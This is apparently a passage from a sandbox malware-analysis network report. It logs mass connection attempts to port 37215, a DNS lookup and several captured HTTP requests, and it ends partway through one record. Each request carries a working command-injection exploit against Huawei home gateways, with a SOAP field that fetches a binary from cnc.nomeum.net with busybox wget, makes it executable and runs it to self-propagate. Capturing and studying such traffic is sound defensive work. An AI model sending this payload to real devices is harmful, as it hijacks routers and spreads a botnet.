Oct 8, 2024 20:35:00.647954941 CEST	48169	37215	192.168.2.14	156.98.92.43
Oct 8, 2024 20:35:00.647969961 CEST	48169	37215	192.168.2.14	41.195.1.45
Oct 8, 2024 20:35:00.647970915 CEST	48169	37215	192.168.2.14	197.70.93.125
Oct 8, 2024 20:35:00.647985935 CEST	48169	37215	192.168.2.14	41.51.190.9
Oct 8, 2024 20:35:00.647996902 CEST	48169	37215	192.168.2.14	197.141.5.247
Oct 8, 2024 20:35:00.648010969 CEST	48169	37215	192.168.2.14	156.53.48.64
Oct 8, 2024 20:35:00.648021936 CEST	48169	37215	192.168.2.14	197.231.102.106
Oct 8, 2024 20:35:00.648030043 CEST	48169	37215	192.168.2.14	156.104.50.33
Oct 8, 2024 20:35:00.648041964 CEST	48169	37215	192.168.2.14	41.50.75.83
Oct 8, 2024 20:35:00.648063898 CEST	48169	37215	192.168.2.14	41.209.101.215
Oct 8, 2024 20:35:00.648063898 CEST	48169	37215	192.168.2.14	156.218.155.11
Oct 8, 2024 20:35:00.648077011 CEST	48169	37215	192.168.2.14	41.118.223.156
Oct 8, 2024 20:35:00.648081064 CEST	48169	37215	192.168.2.14	197.229.131.40
Oct 8, 2024 20:35:00.648086071 CEST	48169	37215	192.168.2.14	156.183.89.121
Oct 8, 2024 20:35:00.648102999 CEST	48169	37215	192.168.2.14	41.159.63.146
Oct 8, 2024 20:35:00.648109913 CEST	48169	37215	192.168.2.14	41.114.176.23
Oct 8, 2024 20:35:00.648127079 CEST	48169	37215	192.168.2.14	41.5.120.109
Oct 8, 2024 20:35:00.648127079 CEST	48169	37215	192.168.2.14	41.88.105.9
Oct 8, 2024 20:35:00.648127079 CEST	48169	37215	192.168.2.14	156.137.211.19
Oct 8, 2024 20:35:00.648133993 CEST	48169	37215	192.168.2.14	197.3.11.34
Oct 8, 2024 20:35:00.648149967 CEST	48169	37215	192.168.2.14	41.172.102.40
Oct 8, 2024 20:35:00.648161888 CEST	48169	37215	192.168.2.14	156.83.249.194
Oct 8, 2024 20:35:00.648175001 CEST	48169	37215	192.168.2.14	156.152.120.252
Oct 8, 2024 20:35:00.648175955 CEST	48169	37215	192.168.2.14	156.0.220.127
Oct 8, 2024 20:35:00.648192883 CEST	48169	37215	192.168.2.14	156.211.10.96
Oct 8, 2024 20:35:00.648200989 CEST	48169	37215	192.168.2.14	197.241.48.166
Oct 8, 2024 20:35:00.648217916 CEST	48169	37215	192.168.2.14	41.152.172.254
Oct 8, 2024 20:35:00.648230076 CEST	48169	37215	192.168.2.14	197.118.22.102
Oct 8, 2024 20:35:00.648230076 CEST	48169	37215	192.168.2.14	41.239.32.80
Oct 8, 2024 20:35:00.648251057 CEST	48169	37215	192.168.2.14	156.53.26.182
Oct 8, 2024 20:35:00.648262024 CEST	48169	37215	192.168.2.14	41.250.225.159
Oct 8, 2024 20:35:00.648267031 CEST	48169	37215	192.168.2.14	41.67.16.26
Oct 8, 2024 20:35:00.648287058 CEST	48169	37215	192.168.2.14	41.80.138.99
Oct 8, 2024 20:35:00.648294926 CEST	48169	37215	192.168.2.14	197.147.64.188
Oct 8, 2024 20:35:00.648305893 CEST	48169	37215	192.168.2.14	197.61.134.159
Oct 8, 2024 20:35:00.648319960 CEST	48169	37215	192.168.2.14	41.42.163.113
Oct 8, 2024 20:35:00.648338079 CEST	48169	37215	192.168.2.14	197.189.91.210
Oct 8, 2024 20:35:00.648344994 CEST	48169	37215	192.168.2.14	156.238.113.115
Oct 8, 2024 20:35:00.648344994 CEST	48169	37215	192.168.2.14	41.204.166.159
Oct 8, 2024 20:35:00.648359060 CEST	48169	37215	192.168.2.14	156.111.248.43
Oct 8, 2024 20:35:00.648375988 CEST	48169	37215	192.168.2.14	197.235.77.116
Oct 8, 2024 20:35:00.648375988 CEST	48169	37215	192.168.2.14	41.74.202.32
Oct 8, 2024 20:35:00.648375988 CEST	48169	37215	192.168.2.14	197.49.136.251
Oct 8, 2024 20:35:00.648394108 CEST	48169	37215	192.168.2.14	41.87.105.51
Oct 8, 2024 20:35:00.648401976 CEST	48169	37215	192.168.2.14	156.63.70.131
Oct 8, 2024 20:35:00.648416996 CEST	48169	37215	192.168.2.14	41.121.120.231
Oct 8, 2024 20:35:00.648431063 CEST	48169	37215	192.168.2.14	156.36.97.252
Oct 8, 2024 20:35:00.648435116 CEST	48169	37215	192.168.2.14	41.37.153.135
Oct 8, 2024 20:35:00.648441076 CEST	48169	37215	192.168.2.14	197.245.73.93
Oct 8, 2024 20:35:00.648458004 CEST	48169	37215	192.168.2.14	156.40.146.56
Oct 8, 2024 20:35:00.648461103 CEST	48169	37215	192.168.2.14	197.177.178.18
Oct 8, 2024 20:35:00.648473978 CEST	48169	37215	192.168.2.14	41.102.43.223
Oct 8, 2024 20:35:00.648494005 CEST	48169	37215	192.168.2.14	156.211.53.73
Oct 8, 2024 20:35:00.648498058 CEST	48169	37215	192.168.2.14	156.113.19.177
Oct 8, 2024 20:35:00.648516893 CEST	48169	37215	192.168.2.14	156.34.11.215
Oct 8, 2024 20:35:00.648519039 CEST	48169	37215	192.168.2.14	197.11.57.30
Oct 8, 2024 20:35:00.648526907 CEST	48169	37215	192.168.2.14	156.55.66.163
Oct 8, 2024 20:35:00.648545027 CEST	48169	37215	192.168.2.14	197.244.85.95
Oct 8, 2024 20:35:00.648566008 CEST	48169	37215	192.168.2.14	197.170.86.55
Oct 8, 2024 20:35:00.648566008 CEST	48169	37215	192.168.2.14	156.159.205.102
Oct 8, 2024 20:35:00.648580074 CEST	48169	37215	192.168.2.14	197.245.198.30
Oct 8, 2024 20:35:00.648581982 CEST	48169	37215	192.168.2.14	197.241.144.41
Oct 8, 2024 20:35:00.648597956 CEST	48169	37215	192.168.2.14	41.28.24.255
Oct 8, 2024 20:35:00.648601055 CEST	48169	37215	192.168.2.14	156.156.73.39
Oct 8, 2024 20:35:00.648611069 CEST	48169	37215	192.168.2.14	41.188.15.179
Oct 8, 2024 20:35:00.648627043 CEST	48169	37215	192.168.2.14	41.10.162.20
Oct 8, 2024 20:35:00.648627996 CEST	48169	37215	192.168.2.14	156.222.19.215
Oct 8, 2024 20:35:00.648629904 CEST	48169	37215	192.168.2.14	197.252.100.61
Oct 8, 2024 20:35:00.648633003 CEST	48169	37215	192.168.2.14	41.53.0.227
Oct 8, 2024 20:35:00.648639917 CEST	48169	37215	192.168.2.14	197.144.190.164
Oct 8, 2024 20:35:00.648650885 CEST	48169	37215	192.168.2.14	156.236.171.155
Oct 8, 2024 20:35:00.648654938 CEST	48169	37215	192.168.2.14	156.160.101.97
Oct 8, 2024 20:35:00.648941994 CEST	33996	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:35:00.649002075 CEST	33996	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:35:00.649446964 CEST	34020	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:35:00.650141001 CEST	52780	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:35:00.650141001 CEST	52780	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:35:00.650491953 CEST	52800	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:35:00.651211977 CEST	37215	48169	41.14.124.157	192.168.2.14
Oct 8, 2024 20:35:00.651221991 CEST	37215	48169	41.204.0.196	192.168.2.14
Oct 8, 2024 20:35:00.651242971 CEST	37215	48169	197.111.180.37	192.168.2.14
Oct 8, 2024 20:35:00.651264906 CEST	48169	37215	192.168.2.14	41.204.0.196
Oct 8, 2024 20:35:00.651274920 CEST	48169	37215	192.168.2.14	197.111.180.37
Oct 8, 2024 20:35:00.651297092 CEST	48169	37215	192.168.2.14	41.14.124.157
Oct 8, 2024 20:35:00.651320934 CEST	37215	48169	156.140.155.227	192.168.2.14
Oct 8, 2024 20:35:00.651333094 CEST	37215	48169	197.23.250.142	192.168.2.14
Oct 8, 2024 20:35:00.651343107 CEST	37215	48169	156.199.188.62	192.168.2.14
Oct 8, 2024 20:35:00.651352882 CEST	37215	48169	197.131.12.35	192.168.2.14
Oct 8, 2024 20:35:00.651362896 CEST	37215	48169	197.79.207.43	192.168.2.14
Oct 8, 2024 20:35:00.651362896 CEST	48169	37215	192.168.2.14	156.140.155.227
Oct 8, 2024 20:35:00.651374102 CEST	37215	48169	156.100.216.217	192.168.2.14
Oct 8, 2024 20:35:00.651376963 CEST	48169	37215	192.168.2.14	197.131.12.35
Oct 8, 2024 20:35:00.651396990 CEST	37215	48169	156.205.238.204	192.168.2.14
Oct 8, 2024 20:35:00.651398897 CEST	48169	37215	192.168.2.14	156.199.188.62
Oct 8, 2024 20:35:00.651406050 CEST	48169	37215	192.168.2.14	197.79.207.43
Oct 8, 2024 20:35:00.651407003 CEST	37215	48169	156.18.184.170	192.168.2.14
Oct 8, 2024 20:35:00.651408911 CEST	48169	37215	192.168.2.14	156.100.216.217
Oct 8, 2024 20:35:00.651412964 CEST	48169	37215	192.168.2.14	197.23.250.142
Oct 8, 2024 20:35:00.651417971 CEST	37215	48169	156.69.164.177	192.168.2.14
Oct 8, 2024 20:35:00.651427984 CEST	37215	48169	41.11.91.190	192.168.2.14
Oct 8, 2024 20:35:00.651437998 CEST	37215	48169	41.207.234.232	192.168.2.14
Oct 8, 2024 20:35:00.651449919 CEST	37215	48169	197.15.23.190	192.168.2.14
Oct 8, 2024 20:35:00.651458979 CEST	37215	48169	41.246.209.114	192.168.2.14
Oct 8, 2024 20:35:00.651468992 CEST	37215	48169	41.251.39.140	192.168.2.14
Oct 8, 2024 20:35:00.651474953 CEST	48169	37215	192.168.2.14	41.11.91.190
Oct 8, 2024 20:35:00.651478052 CEST	48169	37215	192.168.2.14	156.205.238.204
Oct 8, 2024 20:35:00.651479959 CEST	48169	37215	192.168.2.14	156.69.164.177
Oct 8, 2024 20:35:00.651479959 CEST	51086	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:35:00.651480913 CEST	48169	37215	192.168.2.14	156.18.184.170
Oct 8, 2024 20:35:00.651510954 CEST	48169	37215	192.168.2.14	197.15.23.190
Oct 8, 2024 20:35:00.651515961 CEST	48169	37215	192.168.2.14	41.207.234.232
Oct 8, 2024 20:35:00.651525021 CEST	48169	37215	192.168.2.14	41.246.209.114
Oct 8, 2024 20:35:00.651529074 CEST	57186	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:35:00.651529074 CEST	57186	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:35:00.651536942 CEST	54376	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:35:00.651555061 CEST	48169	37215	192.168.2.14	41.251.39.140
Oct 8, 2024 20:35:00.651674986 CEST	37215	48169	41.81.255.37	192.168.2.14
Oct 8, 2024 20:35:00.651685953 CEST	37215	48169	41.189.146.114	192.168.2.14
Oct 8, 2024 20:35:00.651695967 CEST	37215	48169	41.191.9.181	192.168.2.14
Oct 8, 2024 20:35:00.651710033 CEST	48169	37215	192.168.2.14	41.81.255.37
Oct 8, 2024 20:35:00.651716948 CEST	48169	37215	192.168.2.14	41.189.146.114
Oct 8, 2024 20:35:00.651720047 CEST	48169	37215	192.168.2.14	41.191.9.181
Oct 8, 2024 20:35:00.651876926 CEST	57206	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:35:00.652513981 CEST	34342	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:35:00.652540922 CEST	54824	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:35:00.652554989 CEST	50052	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:35:00.652569056 CEST	47428	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:35:00.652580023 CEST	34442	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:35:00.652594090 CEST	54270	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:35:00.652610064 CEST	50982	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:35:00.652631044 CEST	43616	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:35:00.652636051 CEST	37215	48169	156.112.83.10	192.168.2.14
Oct 8, 2024 20:35:00.652646065 CEST	37186	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:35:00.652647972 CEST	37215	48169	41.203.177.125	192.168.2.14
Oct 8, 2024 20:35:00.652658939 CEST	37215	48169	156.221.180.249	192.168.2.14
Oct 8, 2024 20:35:00.652668953 CEST	37215	48169	197.25.40.51	192.168.2.14
Oct 8, 2024 20:35:00.652669907 CEST	59374	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:35:00.652678013 CEST	37215	48169	197.172.197.121	192.168.2.14
Oct 8, 2024 20:35:00.652683973 CEST	48169	37215	192.168.2.14	41.203.177.125
Oct 8, 2024 20:35:00.652683973 CEST	48169	37215	192.168.2.14	156.221.180.249
Oct 8, 2024 20:35:00.652687073 CEST	48169	37215	192.168.2.14	156.112.83.10
Oct 8, 2024 20:35:00.652688980 CEST	37215	48169	156.91.104.205	192.168.2.14
Oct 8, 2024 20:35:00.652698994 CEST	37215	48169	41.226.73.140	192.168.2.14
Oct 8, 2024 20:35:00.652698994 CEST	48169	37215	192.168.2.14	197.25.40.51
Oct 8, 2024 20:35:00.652709961 CEST	37215	48169	197.1.34.224	192.168.2.14
Oct 8, 2024 20:35:00.652719021 CEST	37215	48169	41.38.225.183	192.168.2.14
Oct 8, 2024 20:35:00.652729034 CEST	37215	48169	156.71.81.173	192.168.2.14
Oct 8, 2024 20:35:00.652731895 CEST	48169	37215	192.168.2.14	197.172.197.121
Oct 8, 2024 20:35:00.652731895 CEST	48169	37215	192.168.2.14	41.226.73.140
Oct 8, 2024 20:35:00.652740002 CEST	37215	48169	156.0.127.73	192.168.2.14
Oct 8, 2024 20:35:00.652750015 CEST	36340	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:35:00.652750015 CEST	48169	37215	192.168.2.14	41.38.225.183
Oct 8, 2024 20:35:00.652750015 CEST	48169	37215	192.168.2.14	197.1.34.224
Oct 8, 2024 20:35:00.652750969 CEST	37215	48169	41.95.1.72	192.168.2.14
Oct 8, 2024 20:35:00.652761936 CEST	48169	37215	192.168.2.14	156.71.81.173
Oct 8, 2024 20:35:00.652769089 CEST	48169	37215	192.168.2.14	156.0.127.73
Oct 8, 2024 20:35:00.652777910 CEST	37215	48169	197.160.161.144	192.168.2.14
Oct 8, 2024 20:35:00.652785063 CEST	48169	37215	192.168.2.14	41.95.1.72
Oct 8, 2024 20:35:00.652800083 CEST	54136	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:35:00.652807951 CEST	48169	37215	192.168.2.14	197.160.161.144
Oct 8, 2024 20:35:00.652827978 CEST	40528	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:35:00.652829885 CEST	49236	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:35:00.652846098 CEST	48169	37215	192.168.2.14	156.91.104.205
Oct 8, 2024 20:35:00.652848005 CEST	47610	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:35:00.653300047 CEST	50330	37215	192.168.2.14	41.14.124.157
Oct 8, 2024 20:35:00.653796911 CEST	37215	33996	197.234.121.237	192.168.2.14
Oct 8, 2024 20:35:00.654269934 CEST	47700	37215	192.168.2.14	41.204.0.196
Oct 8, 2024 20:35:00.654912949 CEST	37215	52780	41.6.80.20	192.168.2.14
Oct 8, 2024 20:35:00.655204058 CEST	41756	37215	192.168.2.14	197.111.180.37
Oct 8, 2024 20:35:00.656042099 CEST	60892	37215	192.168.2.14	156.140.155.227
Oct 8, 2024 20:35:00.656490088 CEST	37215	57186	156.160.61.36	192.168.2.14
Oct 8, 2024 20:35:00.656642914 CEST	37215	51086	41.125.67.250	192.168.2.14
Oct 8, 2024 20:35:00.656696081 CEST	37215	57206	156.160.61.36	192.168.2.14
Oct 8, 2024 20:35:00.656713963 CEST	51086	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:35:00.656747103 CEST	57206	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:35:00.656900883 CEST	47930	37215	192.168.2.14	197.23.250.142
Oct 8, 2024 20:35:00.657259941 CEST	37215	54376	41.56.138.239	192.168.2.14
Oct 8, 2024 20:35:00.657296896 CEST	54376	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:35:00.657543898 CEST	37215	34342	41.131.40.164	192.168.2.14
Oct 8, 2024 20:35:00.657555103 CEST	37215	54824	41.168.12.102	192.168.2.14
Oct 8, 2024 20:35:00.657567024 CEST	37215	50052	156.174.103.73	192.168.2.14
Oct 8, 2024 20:35:00.657579899 CEST	34342	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:35:00.657598972 CEST	54824	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:35:00.657603979 CEST	37215	47428	156.176.7.254	192.168.2.14
Oct 8, 2024 20:35:00.657603979 CEST	50052	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:35:00.657641888 CEST	47428	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:35:00.657670975 CEST	40602	37215	192.168.2.14	156.199.188.62
Oct 8, 2024 20:35:00.658024073 CEST	37215	34442	197.177.162.81	192.168.2.14
Oct 8, 2024 20:35:00.658066034 CEST	34442	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:35:00.658154964 CEST	37215	54270	197.204.33.127	192.168.2.14
Oct 8, 2024 20:35:00.658170938 CEST	37215	50982	197.179.205.141	192.168.2.14
Oct 8, 2024 20:35:00.658179998 CEST	37215	43616	197.220.219.212	192.168.2.14
Oct 8, 2024 20:35:00.658190966 CEST	54270	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:35:00.658209085 CEST	50982	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:35:00.658226967 CEST	43616	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:35:00.658269882 CEST	37215	37186	197.30.59.26	192.168.2.14
Oct 8, 2024 20:35:00.658339977 CEST	37186	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:35:00.658525944 CEST	37215	59374	41.67.50.187	192.168.2.14
Oct 8, 2024 20:35:00.658577919 CEST	59374	37215	192.168.2.14	41.67.50.187

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 20:34:43.925133944 CEST	192.168.2.14	8.8.8.8	0x36ca	Standard query (0)	counterstrike2-cheats.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 20:34:43.932327032 CEST	8.8.8.8	192.168.2.14	0x36ca	No error (0)	counterstrike2-cheats.com		45.137.198.211	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	39898	197.169.44.159	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.416125059 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	46710	156.136.228.139	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.417365074 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	57252	197.120.159.78	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.418658972 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	58616	197.75.45.209	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.420075893 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 